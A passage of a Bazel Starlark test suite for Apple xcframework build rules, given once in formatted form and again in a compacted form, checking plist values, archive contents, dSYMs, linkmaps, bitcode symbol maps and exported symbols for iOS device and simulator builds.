expected_dsyms = ["ios_dynamic_lipoed_xcframework_ios_simulator.framework"],
architectures = ["x86_64", "arm64", "i386"],
tags = [name],
)
linkmap_test(
name = "{}_device_linkmap_test".format(name),
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework",
expected_linkmap_names = ["ios_dynamic_xcframework_ios_device"],
architectures = ["arm64"],
tags = [name],
)
linkmap_test(
name = "{}_simulator_linkmap_test".format(name),
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework",
expected_linkmap_names = ["ios_dynamic_xcframework_ios_simulator"],
architectures = ["x86_64"],
tags = [name],
)
linkmap_test(
name = "{}_fat_device_linkmap_test".format(name),
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework",
expected_linkmap_names = ["ios_dynamic_lipoed_xcframework_ios_device"],
architectures = ["arm64", "armv7"],
tags = [name],
)
linkmap_test(
name = "{}_fat_simulator_linkmap_test".format(name),
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework",
expected_linkmap_names = ["ios_dynamic_lipoed_xcframework_ios_simulator"],
architectures = ["x86_64", "arm64", "i386"],
tags = [name],
)
bitcode_symbol_map_test(
name = "{}_archive_contains_bitcode_symbol_maps_test".format(name),
bc_symbol_maps_root = "ios_dynamic_xcframework.xcframework/ios-arm64",
binary_paths = [
"ios_dynamic_xcframework.xcframework/ios-arm64/ios_dynamic_xcframework.framework/ios_dynamic_xcframework",
],
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework",
tags = [name],
)
bitcode_symbol_map_test(
name = "{}_fat_archive_contains_bitcode_symbol_maps_test".format(name),
bc_symbol_maps_root = "ios_dynamic_lipoed_xcframework.xcframework/ios-arm64_armv7",
binary_paths = [
"ios_dynamic_lipoed_xcframework.xcframework/ios-arm64_armv7/ios_dynamic_lipoed_xcframework.framework/ios_dynamic_lipoed_xcframework",
],
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework",
tags = [name],
)
# Tests that minimum os versions values are respected by the embedded frameworks.
archive_contents_test(
name = "{}_ios_minimum_os_versions_test".format(name),
build_type = "device",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_min_ver_10",
plist_test_file = "$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_min_ver_10.framework/Info.plist",
plist_test_values = {
"MinimumOSVersion": "10.0",
},
tags = [name],
)
# Tests that options to override the device family (in this case, exclusively "ipad" for the iOS
# platform) are respected by the embedded frameworks.
archive_contents_test(
name = "{}_ios_exclusively_ipad_device_family_test".format(name),
build_type = "device",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_exclusively_ipad_device_family",
plist_test_file = "$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_exclusively_ipad_device_family.framework/Info.plist",
plist_test_values = {
"UIDeviceFamily:0": "2",
},
tags = [name],
)
# Tests that info plist merging is respected by XCFrameworks.
archive_contents_test(
name = "{}_multiple_infoplist_test".format(name),
build_type = "device",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_multiple_infoplists",
plist_test_file = "$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_multiple_infoplists.framework/Info.plist",
plist_test_values = {
"AnotherKey": "AnotherValue",
"CFBundleExecutable": "ios_dynamic_xcframework_multiple_infoplists",
},
tags = [name],
)
# Tests that resource bundles and files assigned through "data" are respected.
archive_contents_test(
name = "{}_dbg_resources_data_test".format(name),
build_type = "device",
compilation_mode = "dbg",
is_binary_plist = [
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework_with_data_resource_bundle.framework/resource_bundle.bundle/Info.plist",
"$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_with_data_resource_bundle.framework/resource_bundle.bundle/Info.plist",
],
is_not_binary_plist = [
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework_with_data_resource_bundle.framework/Another.plist",
"$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_with_data_resource_bundle.framework/Another.plist",
],
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_with_data_resource_bundle",
tags = [name],
)
archive_contents_test(
name = "{}_opt_resources_data_test".format(name),
build_type = "device",
compilation_mode = "opt",
is_binary_plist = [
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework_with_data_resource_bundle.framework/resource_bundle.bundle/Info.plist",
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework_with_data_resource_bundle.framework/Another.plist",
"$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_with_data_resource_bundle.framework/resource_bundle.bundle/Info.plist",
"$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_with_data_resource_bundle.framework/Another.plist",
],
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_with_data_resource_bundle",
tags = [name],
)
# Tests that resource bundles assigned through "deps" are respected.
archive_contents_test(
name = "{}_dbg_resources_deps_test".format(name),
build_type = "device",
compilation_mode = "dbg",
is_binary_plist = [
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework_with_deps_resource_bundle.framework/resource_bundle.bundle/Info.plist",
"$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_with_deps_resource_bundle.framework/resource_bundle.bundle/Info.plist",
],
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_with_deps_resource_bundle",
tags = [name],
)
archive_contents_test(
name = "{}_opt_resources_deps_test".format(name),
build_type = "device",
compilation_mode = "opt",
is_binary_plist = [
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework_with_deps_resource_bundle.framework/resource_bundle.bundle/Info.plist",
"$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_with_deps_resource_bundle.framework/resource_bundle.bundle/Info.plist",
],
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_with_deps_resource_bundle",
tags = [name],
)
# Tests that the exported symbols list works for XCFrameworks.
archive_contents_test(
name = "{}_exported_symbols_lists_stripped_test".format(name),
build_type = "device",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_stripped",
binary_test_file = "$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_stripped.framework/ios_dynamic_xcframework_stripped",
compilation_mode = "opt",
binary_test_architecture = "x86_64",
binary_contains_symbols = ["_anotherFunctionShared"],
binary_not_contains_symbols = ["_dontCallMeShared", "_anticipatedDeadCode"],
tags = [name],
)
# Tests that multiple exported symbols lists works for XCFrameworks.
archive_contents_test(
name = "{}_two_exported_symbols_lists_stripped_test".format(name),
build_type = "device",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_stripped_two_exported_symbols_lists",
binary_test_file = "$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_stripped_two_exported_symbols_lists.framework/ios_dynamic_xcframework_stripped_two_exported_symbols_lists",
compilation_mode = "opt",
binary_test_architecture = "x86_64",
binary_contains_symbols = ["_anotherFunctionShared", "_dontCallMeShared"],
binary_not_contains_symbols = ["_anticipatedDeadCode"],
tags = [name],
)
# Tests that dead stripping + exported symbols lists works for XCFrameworks just as it does for
# dynamic frameworks.
archive_contents_test(
name = "{}_exported_symbols_list_dead_stripped_test".format(name),
build_type = "device",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_dead_stripped",
binary_test_file = "$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_dead_stripped.framework/ios_dynamic_xcframework_dead_stripped",
compilation_mode = "opt",
binary_test_architecture = "x86_64",
binary_contains_symbols = ["_anotherFunctionShared"],
binary_not_contains_symbols = ["_dontCallMeShared", "_anticipatedDeadCode"],
tags = [name],
)
# Tests that generated swift interfaces work for XCFrameworks when a swift_library is included.
archive_contents_test(
name = "{}_swift_interface_generation_test".format(name),
build_type = "device",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_swift_xcframework",
contains = [
"$BUNDLE_ROOT/ios-arm64_x86_64-simulator/ios_dynamic_lipoed_swift_xcframework.framework/Modules/ios_dynamic_lipoed_swift_xcframework.swiftmodule/arm64.swiftdoc",
"$BUNDLE_ROOT/ios-arm64_x86_64-simulator/ios_dynamic_lipoed_swift_xcframework.framework/Modules/ios_dynamic_lipoed_swift_xcframework.swiftmodule/arm64.swiftinterface",
"$BUNDLE_ROOT/ios-arm64_x86_64-simulator/ios_dynamic_lipoed_swift_xcframework.framework/Modules/ios_dynamic_lipoed_swift_xcframework.swiftmodule/x86_64.swiftdoc",
"$BUNDLE_ROOT/ios-arm64_x86_64-simulator/ios_dynamic_lipoed_swift_xcframework.framework/Modules/ios_dynamic_lipoed_swift_xcframework.swiftmodule/x86_64.swiftinterface",
"$BUNDLE_ROOT/ios-arm64_x86_64-simulator/ios_dynamic_lipoed_swift_xcframework.framework/ios_dynamic_lipoed_swift_xcframework",
"$BUNDLE_ROOT/ios-arm64_x86_64-simulator/ios_dynamic_lipoed_swift_xcframework.framework/Info.plist",
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_lipoed_swift_xcframework.framework/Modules/ios_dynamic_lipoed_swift_xcframework.swiftmodule/arm64.swiftdoc",
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_lipoed_swift_xcframework.framework/Modules/ios_dynamic_lipoed_swift_xcframework.swiftmodule/arm64.swiftinterface",
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_lipoed_swift_xcframework.framework/ios_dynamic_lipoed_swift_xcframework",
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_lipoed_swift_xcframework.framework/Info.plist",
"$BUNDLE_ROOT/Info.plist",
],
tags = [name],
)
# Test that the Swift generated header is propagated to the Headers visible within this iOS
# framework along with the swift interfaces and modulemap.
archive_contents_test(
name = "{}_swift_generates_header_test".format(name),
build_type = "simulator",
compilation_mode = "opt",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_swift_xcframework_with_generated_header",
contains = [
"$BUNDLE_ROOT/ios-arm64_x86_64-simulator/SwiftFmwkWithGenHeader.framework/Headers/SwiftFmwkWithGenHeader.h",
"$BUNDLE_ROOT/ios-arm64_x86_64-simulator/SwiftFmwkWithGenHeader.framework/Modules/module.modulemap",
"$BUNDLE_ROOT/ios-arm64_x86_64-simulator/SwiftFmwkWithGenHeader.framework/Modules/SwiftFmwkWithGenHeader.swiftmodule/arm64.swiftdoc",
"$BUNDLE_ROOT/ios-arm64_x86_64-simulator/SwiftFmwkWithGenHeader.framework/Modules/SwiftFmwkWithGenHeader.swiftmodule/arm64.swiftinterface",
"$BUNDLE_ROOT/ios-arm64_x86_64-simulator/SwiftFmwkWithGenHeader.framework/Modules/SwiftFmwkWithGenHeader.swiftmodule/x86_64.swiftdoc",
"$BUNDLE_ROOT/ios-arm64_x86_64-simulator/SwiftFmwkWithGenHeader.framework/Modules/SwiftFmwkWithGenHeader.swiftmodule/x86_64.swiftinterface",
"$BUNDLE_ROOT/ios-arm64/SwiftFmwkWithGenHeader.framework/Headers/SwiftFmwkWithGenHeader.h",
"$BUNDLE_ROOT/ios-arm64/SwiftFmwkWithGenHeader.framework/Modules/module.modulemap",
"$BUNDLE_ROOT/ios-arm64/SwiftFmwkWithGenHeader.framework/Modules/SwiftFmwkWithGenHeader.swiftmodule/arm64.swiftdoc",
"$BUNDLE_ROOT/ios-arm64/SwiftFmwkWithGenHeader.framework/Modules/SwiftFmwkWithGenHeader.swiftmodule/arm64.swiftinterface",
],
tags = [name],
)
native.test_suite(
name = name,
tags = [name],
)
| """xcframework Starlark tests."""
load(':rules/common_verification_tests.bzl', 'archive_contents_test', 'bitcode_symbol_map_test')
load(':rules/dsyms_test.bzl', 'dsyms_test')
load(':rules/infoplist_contents_test.bzl', 'infoplist_contents_test')
load(':rules/linkmap_test.bzl', 'linkmap_test')
def apple_xcframework_test_suite(name):
"""Test suite for apple_xcframework.
Args:
name: the base name to be used in things created by this macro
"""
infoplist_contents_test(name='{}_ios_plist_test'.format(name), target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework', expected_values={'AvailableLibraries:0:LibraryIdentifier': 'ios-arm64', 'AvailableLibraries:0:LibraryPath': 'ios_dynamic_xcframework.framework', 'AvailableLibraries:0:SupportedArchitectures:0': 'arm64', 'AvailableLibraries:0:SupportedPlatform': 'ios', 'AvailableLibraries:1:LibraryIdentifier': 'ios-x86_64-simulator', 'AvailableLibraries:1:LibraryPath': 'ios_dynamic_xcframework.framework', 'AvailableLibraries:1:SupportedArchitectures:0': 'x86_64', 'AvailableLibraries:1:SupportedPlatform': 'ios', 'AvailableLibraries:1:SupportedPlatformVariant': 'simulator', 'CFBundlePackageType': 'XFWK', 'XCFrameworkFormatVersion': '1.0'}, not_expected_keys=['AvailableLibraries:0:BitcodeSymbolMapsPath', 'AvailableLibraries:1:BitcodeSymbolMapsPath'], tags=[name])
infoplist_contents_test(name='{}_ios_fat_plist_test'.format(name), target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework', expected_values={'AvailableLibraries:0:LibraryIdentifier': 'ios-arm64_armv7', 'AvailableLibraries:0:LibraryPath': 'ios_dynamic_lipoed_xcframework.framework', 'AvailableLibraries:0:SupportedArchitectures:0': 'arm64', 'AvailableLibraries:0:SupportedArchitectures:1': 'armv7', 'AvailableLibraries:0:SupportedPlatform': 'ios', 'AvailableLibraries:1:LibraryIdentifier': 'ios-i386_arm64_x86_64-simulator', 'AvailableLibraries:1:LibraryPath': 'ios_dynamic_lipoed_xcframework.framework', 'AvailableLibraries:1:SupportedArchitectures:0': 'i386', 'AvailableLibraries:1:SupportedArchitectures:1': 'arm64', 'AvailableLibraries:1:SupportedArchitectures:2': 'x86_64', 'AvailableLibraries:1:SupportedPlatform': 'ios', 'AvailableLibraries:1:SupportedPlatformVariant': 'simulator', 'CFBundlePackageType': 'XFWK', 'XCFrameworkFormatVersion': '1.0'}, not_expected_keys=['AvailableLibraries:0:BitcodeSymbolMapsPath', 'AvailableLibraries:1:BitcodeSymbolMapsPath'], tags=[name])
infoplist_contents_test(name='{}_ios_plist_bitcode_test'.format(name), apple_bitcode='embedded', target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework', expected_values={'AvailableLibraries:0:LibraryIdentifier': 'ios-arm64', 'AvailableLibraries:0:BitcodeSymbolMapsPath': 'BCSymbolMaps', 'AvailableLibraries:1:LibraryIdentifier': 'ios-x86_64-simulator'}, not_expected_keys=['AvailableLibraries:1:BitcodeSymbolMapsPath'], tags=[name])
infoplist_contents_test(name='{}_ios_fat_plist_bitcode_test'.format(name), apple_bitcode='embedded', target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework', expected_values={'AvailableLibraries:0:LibraryIdentifier': 'ios-arm64_armv7', 'AvailableLibraries:0:BitcodeSymbolMapsPath': 'BCSymbolMaps', 'AvailableLibraries:1:LibraryIdentifier': 'ios-i386_arm64_x86_64-simulator'}, not_expected_keys=['AvailableLibraries:1:BitcodeSymbolMapsPath'], tags=[name])
archive_contents_test(name='{}_ios_arm64_device_archive_contents_test'.format(name), build_type='device', target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework', binary_test_file='$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework.framework/ios_dynamic_xcframework', macho_load_commands_contain=['name @rpath/ios_dynamic_xcframework.framework/ios_dynamic_xcframework (offset 24)'], contains=['$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework.framework/Headers/shared.h', '$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework.framework/Headers/ios_dynamic_xcframework.h', '$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework.framework/Modules/module.modulemap', '$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework.framework/ios_dynamic_xcframework', '$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework.framework/Info.plist', '$BUNDLE_ROOT/Info.plist'], tags=[name])
archive_contents_test(name='{}_ios_x86_64_sim_archive_contents_test'.format(name), build_type='device', target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework', binary_test_file='$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework.framework/ios_dynamic_xcframework', macho_load_commands_contain=['name @rpath/ios_dynamic_xcframework.framework/ios_dynamic_xcframework (offset 24)'], contains=['$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework.framework/Headers/shared.h', '$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework.framework/Headers/ios_dynamic_xcframework.h', '$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework.framework/Modules/module.modulemap', '$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework.framework/ios_dynamic_xcframework', '$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework.framework/Info.plist', '$BUNDLE_ROOT/Info.plist'], tags=[name])
archive_contents_test(name='{}_ios_fat_device_archive_contents_test'.format(name), build_type='device', target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework', binary_test_file='$BUNDLE_ROOT/ios-arm64_armv7/ios_dynamic_lipoed_xcframework.framework/ios_dynamic_lipoed_xcframework', macho_load_commands_contain=['name @rpath/ios_dynamic_lipoed_xcframework.framework/ios_dynamic_lipoed_xcframework (offset 24)'], contains=['$BUNDLE_ROOT/ios-arm64_armv7/ios_dynamic_lipoed_xcframework.framework/Headers/shared.h', '$BUNDLE_ROOT/ios-arm64_armv7/ios_dynamic_lipoed_xcframework.framework/Headers/ios_dynamic_lipoed_xcframework.h', '$BUNDLE_ROOT/ios-arm64_armv7/ios_dynamic_lipoed_xcframework.framework/Modules/module.modulemap', '$BUNDLE_ROOT/ios-arm64_armv7/ios_dynamic_lipoed_xcframework.framework/ios_dynamic_lipoed_xcframework', '$BUNDLE_ROOT/ios-arm64_armv7/ios_dynamic_lipoed_xcframework.framework/Info.plist', '$BUNDLE_ROOT/Info.plist'], tags=[name])
archive_contents_test(name='{}_ios_fat_sim_archive_contents_test'.format(name), build_type='device', target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework', binary_test_file='$BUNDLE_ROOT/ios-i386_arm64_x86_64-simulator/ios_dynamic_lipoed_xcframework.framework/ios_dynamic_lipoed_xcframework', macho_load_commands_contain=['name @rpath/ios_dynamic_lipoed_xcframework.framework/ios_dynamic_lipoed_xcframework (offset 24)'], contains=['$BUNDLE_ROOT/ios-i386_arm64_x86_64-simulator/ios_dynamic_lipoed_xcframework.framework/Headers/shared.h', '$BUNDLE_ROOT/ios-i386_arm64_x86_64-simulator/ios_dynamic_lipoed_xcframework.framework/Headers/ios_dynamic_lipoed_xcframework.h', '$BUNDLE_ROOT/ios-i386_arm64_x86_64-simulator/ios_dynamic_lipoed_xcframework.framework/Modules/module.modulemap', '$BUNDLE_ROOT/ios-i386_arm64_x86_64-simulator/ios_dynamic_lipoed_xcframework.framework/ios_dynamic_lipoed_xcframework', '$BUNDLE_ROOT/ios-i386_arm64_x86_64-simulator/ios_dynamic_lipoed_xcframework.framework/Info.plist', '$BUNDLE_ROOT/Info.plist'], tags=[name])
dsyms_test(name='{}_device_dsyms_test'.format(name), target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework', expected_dsyms=['ios_dynamic_xcframework_ios_device.framework'], architectures=['arm64'], tags=[name])
dsyms_test(name='{}_simulator_dsyms_test'.format(name), target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework', expected_dsyms=['ios_dynamic_xcframework_ios_simulator.framework'], architectures=['x86_64'], tags=[name])
dsyms_test(name='{}_fat_device_dsyms_test'.format(name), target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework', expected_dsyms=['ios_dynamic_lipoed_xcframework_ios_device.framework'], architectures=['arm64', 'armv7'], tags=[name])
dsyms_test(name='{}_fat_simulator_dsyms_test'.format(name), target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework', expected_dsyms=['ios_dynamic_lipoed_xcframework_ios_simulator.framework'], architectures=['x86_64', 'arm64', 'i386'], tags=[name])
linkmap_test(name='{}_device_linkmap_test'.format(name), target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework', expected_linkmap_names=['ios_dynamic_xcframework_ios_device'], architectures=['arm64'], tags=[name])
linkmap_test(name='{}_simulator_linkmap_test'.format(name), target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework', expected_linkmap_names=['ios_dynamic_xcframework_ios_simulator'], architectures=['x86_64'], tags=[name])
linkmap_test(name='{}_fat_device_linkmap_test'.format(name), target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework', expected_linkmap_names=['ios_dynamic_lipoed_xcframework_ios_device'], architectures=['arm64', 'armv7'], tags=[name])
linkmap_test(name='{}_fat_simulator_linkmap_test'.format(name), target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework', expected_linkmap_names=['ios_dynamic_lipoed_xcframework_ios_simulator'], architectures=['x86_64', 'arm64', 'i386'], tags=[name])
bitcode_symbol_map_test(name='{}_archive_contains_bitcode_symbol_maps_test'.format(name), bc_symbol_maps_root='ios_dynamic_xcframework.xcframework/ios-arm64', binary_paths=['ios_dynamic_xcframework.xcframework/ios-arm64/ios_dynamic_xcframework.framework/ios_dynamic_xcframework'], target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework', tags=[name])
bitcode_symbol_map_test(name='{}_fat_archive_contains_bitcode_symbol_maps_test'.format(name), bc_symbol_maps_root='ios_dynamic_lipoed_xcframework.xcframework/ios-arm64_armv7', binary_paths=['ios_dynamic_lipoed_xcframework.xcframework/ios-arm64_armv7/ios_dynamic_lipoed_xcframework.framework/ios_dynamic_lipoed_xcframework'], target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework', tags=[name])
archive_contents_test(name='{}_ios_minimum_os_versions_test'.format(name), build_type='device', target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_min_ver_10', plist_test_file='$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_min_ver_10.framework/Info.plist', plist_test_values={'MinimumOSVersion': '10.0'}, tags=[name])
archive_contents_test(name='{}_ios_exclusively_ipad_device_family_test'.format(name), build_type='device', target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_exclusively_ipad_device_family', plist_test_file='$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_exclusively_ipad_device_family.framework/Info.plist', plist_test_values={'UIDeviceFamily:0': '2'}, tags=[name])
archive_contents_test(name='{}_multiple_infoplist_test'.format(name), build_type='device', target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_multiple_infoplists', plist_test_file='$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_multiple_infoplists.framework/Info.plist', plist_test_values={'AnotherKey': 'AnotherValue', 'CFBundleExecutable': 'ios_dynamic_xcframework_multiple_infoplists'}, tags=[name])
archive_contents_test(name='{}_dbg_resources_data_test'.format(name), build_type='device', compilation_mode='dbg', is_binary_plist=['$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework_with_data_resource_bundle.framework/resource_bundle.bundle/Info.plist', '$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_with_data_resource_bundle.framework/resource_bundle.bundle/Info.plist'], is_not_binary_plist=['$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework_with_data_resource_bundle.framework/Another.plist', '$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_with_data_resource_bundle.framework/Another.plist'], target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_with_data_resource_bundle', tags=[name])
archive_contents_test(name='{}_opt_resources_data_test'.format(name), build_type='device', compilation_mode='opt', is_binary_plist=['$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework_with_data_resource_bundle.framework/resource_bundle.bundle/Info.plist', '$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework_with_data_resource_bundle.framework/Another.plist', '$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_with_data_resource_bundle.framework/resource_bundle.bundle/Info.plist', '$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_with_data_resource_bundle.framework/Another.plist'], target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_with_data_resource_bundle', tags=[name])
archive_contents_test(name='{}_dbg_resources_deps_test'.format(name), build_type='device', compilation_mode='dbg', is_binary_plist=['$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework_with_deps_resource_bundle.framework/resource_bundle.bundle/Info.plist', '$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_with_deps_resource_bundle.framework/resource_bundle.bundle/Info.plist'], target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_with_deps_resource_bundle', tags=[name])
archive_contents_test(name='{}_opt_resources_deps_test'.format(name), build_type='device', compilation_mode='opt', is_binary_plist=['$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework_with_deps_resource_bundle.framework/resource_bundle.bundle/Info.plist', '$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_with_deps_resource_bundle.framework/resource_bundle.bundle/Info.plist'], target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_with_deps_resource_bundle', tags=[name])
archive_contents_test(name='{}_exported_symbols_lists_stripped_test'.format(name), build_type='device', target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_stripped', binary_test_file='$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_stripped.framework/ios_dynamic_xcframework_stripped', compilation_mode='opt', binary_test_architecture='x86_64', binary_contains_symbols=['_anotherFunctionShared'], binary_not_contains_symbols=['_dontCallMeShared', '_anticipatedDeadCode'], tags=[name])
archive_contents_test(name='{}_two_exported_symbols_lists_stripped_test'.format(name), build_type='device', target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_stripped_two_exported_symbols_lists', binary_test_file='$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_stripped_two_exported_symbols_lists.framework/ios_dynamic_xcframework_stripped_two_exported_symbols_lists', compilation_mode='opt', binary_test_architecture='x86_64', binary_contains_symbols=['_anotherFunctionShared', '_dontCallMeShared'], binary_not_contains_symbols=['_anticipatedDeadCode'], tags=[name])
archive_contents_test(name='{}_exported_symbols_list_dead_stripped_test'.format(name), build_type='device', target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_dead_stripped', binary_test_file='$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_dead_stripped.framework/ios_dynamic_xcframework_dead_stripped', compilation_mode='opt', binary_test_architecture='x86_64', binary_contains_symbols=['_anotherFunctionShared'], binary_not_contains_symbols=['_dontCallMeShared', '_anticipatedDeadCode'], tags=[name])
archive_contents_test(name='{}_swift_interface_generation_test'.format(name), build_type='device', target_under_test='//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_swift_xcframework', contains=['$BUNDLE_ROOT/ios-arm64_x86_64-simulator/ios_dynamic_lipoed_swift_xcframework.framework/Modules/ios_dynamic_lipoed_swift_xcframework.swiftmodule/arm64.swiftdoc', '$BUNDLE_ROOT/ios-arm64_x86_64-simulator/ios_dynamic_lipoed_swift_xcframework.framework/Modules/ios_dynamic_lipoed_swift_xcframework.swiftmodule/arm64.swiftinterface', '$BUNDLE_ROOT/ios-arm64_x86_64-simulator/ios_dynamic_lipoed_swift_xcframework.framework/Modules/ios_dynamic_lipoed_swift_xcframework.swiftmodule/x86_64.swiftdoc', '$BUNDLE_ROOT/ios-arm64_x86_64-simulator/ios_dynamic_lipoed_swift_xcframework.framework/Modules/ios_dynamic_lipoed_swift_xcframework.swiftmodule/x86_64.swiftinterface', '$BUNDLE_ROOT/ios-arm64_x86_64-simulator/ios_dynamic_lipoed_swift_xcframework.framework/ios_dynamic_lipoed_swift_xcframework', '$BUNDLE_ROOT/ios-arm64_x86_64-simulator/ios_dynamic_lipoed_swift_xcframework.framework/Info.plist', '$BUNDLE_ROOT/ios-arm64/ios_dynamic_lipoed_swift_xcframework.framework/Modules/ios_dynamic_lipoed_swift_xcframework.swiftmodule/arm64.swiftdoc', '$BUNDLE_ROOT/ios-arm64/ios_dynamic_lipoed_swift_xcframework.framework/Modules/ios_dynamic_lipoed_swift_xcframework.swiftmodule/arm64.swiftinterface', '$BUNDLE_ROOT/ios-arm64/ios_dynamic_lipoed_swift_xcframework.framework/ios_dynamic_lipoed_swift_xcframework', '$BUNDLE_ROOT/ios-arm64/ios_dynamic_lipoed_swift_xcframework.framework/Info.plist', '$BUNDLE_ROOT/Info.plist'], tags=[name])
